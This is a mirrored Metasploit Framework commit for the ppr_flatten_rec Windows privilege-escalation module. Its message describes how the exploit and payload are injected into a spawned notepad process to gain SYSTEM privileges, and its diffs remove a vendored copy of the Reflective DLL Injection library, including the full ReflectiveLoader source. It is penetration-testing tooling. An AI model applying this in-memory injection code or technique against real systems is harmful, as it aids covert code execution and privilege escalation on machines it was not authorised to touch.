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mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

ppr_flatten_rec update, RDI submodule, and refactor

This commit contains a few changes for the ppr_flatten_rec local windows
exploit. First, the exploit binary itself:

* Updated to use the RDI submodule.
* Updated to build with VS2013.
* Updated to generate a binary called `ppr_flatten_rc.x86.dll`.
* Invocation of the exploit requires address of the payload to run.

Second, the module in MSF behaved a little strange. I expected it to create
a new session with system privs and leave the existing session alone. This
wasn't the case. It used to create an instance of notepad, migrate the
_existing_ session to it, and run the exploit from there. This behaviour
didn't seem to be consistent with other local exploits. The changes
include:

* Existing session is now left alone, only used as a proxy.
* New notepad instance has exploit reflectively loaded.
* New notepad instance has payload directly injected.
* Exploit invocation takes the payload address as a parameter.
* A wait is added as the exploit is slow to run (nature of the exploit).
* Payloads are executed on successful exploit.
This commit is contained in:
OJ 2013-11-27 20:00:50 +10:00
parent 468654d2b5
commit defc0ebe5c
No known key found for this signature in database
GPG Key ID: 49EEE7511FAA5749
20 changed files with 342 additions and 1654 deletions

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Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

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About
=====
Reflective DLL injection is a library injection technique in which the concept
of reflective programming is employed to perform the loading of a library from
memory into a host process. As such the library is responsible for loading
itself by implementing a minimal Portable Executable (PE) file loader. It can
then govern, with minimal interaction with the host system and process, how it
will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86,
x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly,
the library you wish to inject must be written into the address space of the
target process (Herein referred to as the host process). Secondly the library
must be loaded into that host process in such a way that the library's run time
expectations are met, such as resolving its imports or relocating it to a
suitable location in memory.
Assuming we have code execution in the host process and the library we wish to
inject has been written into an arbitrary location of memory in the host
process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap
shellcode, to the library's ReflectiveLoader function which is an exported
function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in
memory the ReflectiveLoader will first calculate its own image's current
location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export
table in order to calculate the addresses of three functions required by the
loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into
which it will proceed to load its own image. The location is not important as
the loader will correctly relocate the image later on.
The library's headers and sections are loaded into their new locations in
memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's
import table, loading any additional library's and resolving their respective
imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's
relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point
function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully
loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap
shellcode which called it, or if it was called via CreateRemoteThread, the
thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release
mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via
a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.

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<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

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@ -1,32 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ComplexPath.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

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@ -1,51 +0,0 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

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@ -1,496 +0,0 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

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@ -1,202 +0,0 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
